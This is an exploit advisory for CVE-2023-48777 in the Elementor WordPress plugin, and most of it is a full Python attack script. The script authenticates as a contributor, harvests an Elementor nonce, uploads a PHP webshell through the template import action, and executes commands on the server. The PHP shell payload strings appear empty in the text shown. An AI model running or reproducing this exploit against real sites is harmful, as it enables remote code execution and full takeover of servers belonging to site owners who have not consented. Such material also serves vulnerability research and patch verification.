============================================================================================================================================= | # Title : WordPress Elementor 3.18.1 RCE Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/elementor/ | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/176112/ & CVE-2023-48777 [+] Summary : an authenticated arbitrary file upload vulnerability in Elementor Website Builder plugin for WordPress versions 3.18.1 and earlier. The vulnerability allows attackers with contributor-level access or higher to upload arbitrary files, including PHP webshells, leading to remote code execution and complete server compromise. The vulnerability exists in the template import functionality (elementor_import_template AJAX action) where files are saved to a temporary directory before proper file type validation occurs. Failed validation does not trigger deletion of the temporary file. [+] POC : python poc.py --- #!/usr/bin/env python3 """ Elementor <= 3.18.1 RCE Exploit (CVE-2023-48777) Author: indoushka """ import requests import base64 import random import string import sys import json from urllib.parse import urljoin class ElementorRCE: def __init__(self, target, username, password): self.target = target.rstrip('/') self.session = requests.Session() self.username = username self.password = password self.nonce = None self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def login(self): """Authenticate with WordPress""" print("[*] Attempting WordPress login...") login_data = { 'log': self.username, 'pwd': self.password, 'wp-submit': 'Log In', 'redirect_to': f'{self.target}/wp-admin/', 'testcookie': '1' } login_url = f"{self.target}/wp-login.php" # Get login cookies first self.session.get(login_url) # Perform login resp = self.session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' in self.session.cookies: print("[+] Successfully logged in to WordPress") return True else: print("[-] Login failed") return False def get_nonce(self): """Get Elementor nonce for AJAX requests""" print("[*] Retrieving Elementor nonce...") urls_to_check = [ f"{self.target}/wp-admin/admin-ajax.php", f"{self.target}/wp-admin/post-new.php", f"{self.target}/wp-admin/edit.php" ] for url in urls_to_check: resp = self.session.get(url) if resp.status_code == 200: # Look for nonce in response if 'elementor' in resp.text and 'nonce' in resp.text: import re nonce_patterns = [ r'elementor[\'"]?[-_]?nonce[\'"]?\s*[:=]\s*[\'"]([a-f0-9]+)[\'"]', r'nonce[\'"]?\s*[:=]\s*[\'"]([a-f0-9]+)[\'"][^>]*elementor', r'"nonce":"([a-f0-9]+)"[^}]*elementor' ] for pattern in nonce_patterns: matches = re.search(pattern, resp.text, re.IGNORECASE) if matches: self.nonce = matches.group(1) print(f"[+] Found Elementor nonce: {self.nonce}") return True print("[-] Could not find Elementor nonce") return False def upload_shell(self, php_code): """Upload PHP shell via Elementor template import""" print("[*] Uploading PHP shell...") # Method 1: Direct file upload filename = f"{self.random_string()}_template.php" files = { 'fileToUpload': (filename, php_code, 'application/zip') } data = { 'action': 'elementor_import_template', '_nonce': self.nonce } upload_url = f"{self.target}/wp-admin/admin-ajax.php" resp = self.session.post(upload_url, files=files, data=data) if resp.status_code == 200: try: result = resp.json() if result.get('success'): shell_url = result['data']['file_url'] print(f"[+] Shell uploaded: {shell_url}") return shell_url except: # Try to extract URL from response if 'file_url' in resp.text: import re match = re.search(r'"file_url":"([^"]+)"', resp.text) if match: shell_url = match.group(1).replace('\\/', '/') print(f"[+] Shell uploaded: {shell_url}") return shell_url # Method 2: Base64 upload print("[*] Trying base64 upload method...") return self.upload_via_base64(php_code) def upload_via_base64(self, php_code): """Upload via base64 encoded file data""" base64_data = base64.b64encode(php_code.encode()).decode() filename = f"{self.random_string()}.php" data = { 'action': 'elementor_import_template', '_nonce': self.nonce, 'fileData': base64_data, 'fileName': filename } upload_url = f"{self.target}/wp-admin/admin-ajax.php" resp = self.session.post(upload_url, data=data) if resp.status_code == 200: try: result = resp.json() if result.get('success'): shell_url = result['data']['file_url'] print(f"[+] Shell uploaded via base64: {shell_url}") return shell_url except: pass return None def execute_shell(self, shell_url): """Execute the uploaded shell""" print(f"[*] Executing shell at: {shell_url}") resp = self.session.get(shell_url) if resp.status_code == 200: print("[+] Shell executed successfully") return resp.text else: print(f"[-] Shell execution failed: HTTP {resp.status_code}") return None def random_string(self, length=8): """Generate random string""" return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def exploit(self, command=None): """Main exploit method""" if not self.login(): return False if not self.get_nonce(): return False # Generate PHP shell if command: php_shell = f"" else: php_shell = "" shell_url = self.upload_shell(php_shell) if shell_url: if command: result = self.execute_shell(shell_url) if result: print(f"[+] Command output:\n{result}") else: print(f"[+] Web shell ready: {shell_url}?cmd=whoami") return shell_url return False def main(): if len(sys.argv) < 4: print("Usage: python3 elementor_rce.py [command]") print("Example: python3 elementor_rce.py http://localhost contributor password123 'id'") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] command = sys.argv[4] if len(sys.argv) > 4 else None exploit = ElementorRCE(target, username, password) exploit.exploit(command) if __name__ == "__main__": main() Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================